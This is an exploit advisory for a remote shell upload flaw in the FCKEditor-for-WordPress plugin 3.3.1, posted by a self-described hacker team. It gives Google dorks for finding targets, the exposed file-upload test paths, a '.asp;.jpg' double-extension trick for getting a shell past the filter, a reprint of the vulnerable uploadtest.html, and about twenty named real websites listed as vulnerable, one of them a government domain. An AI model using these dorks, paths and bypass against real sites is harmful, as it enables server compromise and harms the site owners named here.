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WordPress FCKEditor-For-Wordpress-Plugin 3.3.1 Remote Shell Upload Vulnerability

Author: KingSkrupellos , Published: 21-12-2018
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# Exploit Title : WordPress FCKEditor-For-Wordpress-Plugin 3.3.1 Remote Shell Upload Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 20/12/2018
# Vendor Homepage : wordpress.org/support/plugin/fckeditor-for-wordpress-plugin
# Software Download Link : github.com/kcloze/kcloze-blog/archive/master.zip
+ github.com/kcloze/kcloze-blog/tree/master/wp-content/plugins/fckeditor-for-wordpress-plugin
# Tested On : Windows and Linux
# Category : WebApps
# Version Information : 2.0 ~ 2.2 ~ 2.6.2 ~ 2.8.4 ~ 3.3.1
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/plugins/fckeditor-for-wordpress-plugin/''
+ intext:''DESIGN BY PURR.''
+ intext:''powered by WordPress. InBiz theme made it free by desain web. Hosting by rozhled.cz''
+ intext:''Site entraîné par WordPress | Connexion | Flux (RSS) des articles | Thème Arthemia de Michael Jubel | Stats''
+ intext:''designed by Portland Web Design''
+ intext:''© 2009 websitemagix.com powered by fotomagix''
+ intext:''powered by fotomagix''
+ intext:''realizace webu: Pavel Gloss''
+ intext:''© 2008 - 2018 Heather Richards Live | All Rights Reserved.''
+ intext:''Powered by WordPress ( WordPress Deutschland ) - Handcoded by Tommaso Baldovino -
German translation and modification by Schwarze Dame''
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access Controls ]
+ CWE-434: Unrestricted Upload of File with Dangerous Type
# Visit Web Security Blog and Forum : cyberizm.org [ Team ] ~ ayarsecurity.com [ Friend ]

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# Exploit :

/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/test.html

/wp-content/plugins/fckeditor-for-wordpress-plugin/fckeditor/editor/filemanager/browser/default/frmupload.html

/wp-content/plugins/fckeditor-for-wordpress-plugin/fckeditor/editor/filemanager/browser/default/browser.html

# Directory File Path :

/wp-content/uploads/.....

/wp-content/uploads/[YEAR]/[MONTH]/......

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# Note : Select PHP extension and then Try to upload as .asp;.jpg filename shell extension.

# Note : This plugin fckeditor-for-wordpress-plugin contains a very serious vulnerability that allowed hackers to gain full control –

modify, upload and execute files on any website running WordPress. With the plugin installed on a certain website,

a hacker or malicious person can gain access to the web server via HTTP through a backdoor in the plugin’s directory.

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Vulnerable File Code => /uploadtest.html

*************************************

<!--
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
* http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
* http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
* http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Test page for the "File Uploaders".
-->
<html>
<head>
<title>FCKeditor - Uploaders Tests</title>
<script type="text/javascript">

function SendFile()
{
var sUploaderUrl = cmbUploaderUrl.value ;

if ( sUploaderUrl.length == 0 )
sUploaderUrl = txtCustomUrl.value ;

if ( sUploaderUrl.length == 0 )
{
alert( 'Please provide your custom URL or select a default one' ) ;
return ;
}

eURL.innerHTML = sUploaderUrl ;
txtUrl.value = '' ;

frmUpload.action = sUploaderUrl;
if (document.getElementById('cmbType').value) {
frmUpload.action = frmUpload.action + '?Type='+document.getElementById('cmbType').value;
}
frmUpload.submit() ;
}

function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
{
switch ( errorNumber )
{
case 0 : // No errors
txtUrl.value = fileUrl ;
alert( 'File uploaded with no errors' ) ;
break ;
case 1 : // Custom error
alert( customMsg ) ;
break ;
case 10 : // Custom warning
txtUrl.value = fileUrl ;
alert( customMsg ) ;
break ;
case 201 :
txtUrl.value = fileUrl ;
alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
break ;
case 202 :
alert( 'Invalid file' ) ;
break ;
case 203 :
alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ;
break ;
default :
alert( 'Error on file upload. Error number: ' + errorNumber ) ;
break ;
}
}

</script>
</head>
<body>
<table cellSpacing="0" cellPadding="0" width="100%" border="0" height="100%">
<tr>
<td>
<table cellSpacing="0" cellPadding="0" width="100%" border="0">
<tr>
<td nowrap>
Select the "File Uploader" to use:<br>
<select id="cmbUploaderUrl">
<option selected value="asp/upload.asp">ASP</option>
<option value="aspx/upload.aspx">ASP.Net</option>
<option value="cfm/upload.cfm">ColdFusion</option>
<option value="lasso/upload.lasso">Lasso</option>
<option value="perl/upload.cgi">Perl</option>
<option value="php/upload.php">PHP</option>
<option value="py/upload.py">Python</option>
<option value="">(Custom)</option>
</select>
</td>
<td>
Resource Type
<select id="cmbType" name="cmbType">
<option value="">None</option>
<option value="File">File</option>
<option value="Image">Image</option>
<option value="Flash">Flash</option>
<option value="Media">Media</option>
<option value="Invalid">Invalid Type (for testing)</option>
</select>
</td>
<td nowrap>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
<td width="100%">
Custom Uploader URL:<BR>
<input id="txtCustomUrl" style="WIDTH: 100%; BACKGROUND-COLOR: #dcdcdc" disabled type="text">
</td>
</tr>
</table>
<br>
<table cellSpacing="0" cellPadding="0" width="100%" border="0">
<tr>
<td noWrap>
<form id="frmUpload" target="UploadWindow" enctype="multipart/form-data" action="" method="post">
Upload a new file:<br>
<input type="file" name="NewFile"><br>
<input type="button" value="Send it to the Server" onclick="SendFile();">
</form>
</td>
<td style="WIDTH: 16px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
<td vAlign="top" width="100%">
Uploaded File URL:<br>
<INPUT id="txtUrl" style="WIDTH: 100%" readonly type="text">
</td>
</tr>
</table>
<br>
Post URL: <span id="eURL">&nbsp;</span>
</td>
</tr>
<tr>
<td height="100%">
<iframe name="UploadWindow" width="100%" height="100%" src="javascript:void(0)"></iframe>
</td>
</tr>
</table>
</body>
</html>

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# Example Vulnerable Sites =>

[+] steamykitchen.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] n-vac.co.jp/tool/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] senftenberg.cz/wordpress/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] ville-rochefortdugard.fr/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] jalak.eu/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] carolwhitemarketing.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] etkingrup.com.tr/haber/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] zohnertheater.ch/amberroad/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] gialongvn.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] websitemagix.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] taiyaki-ya.com/wp/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] locthanhphat.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] zko157.cz/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] duolongo.se/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] sof.vn/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] heatherrichardslive.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] textmah.com/sites/zane/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] nongngucolam.vn/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] drogy-sos.sk/photoland/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] kukk.de/affiliateblog/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

[+] nttprov.go.id/penghubung/web/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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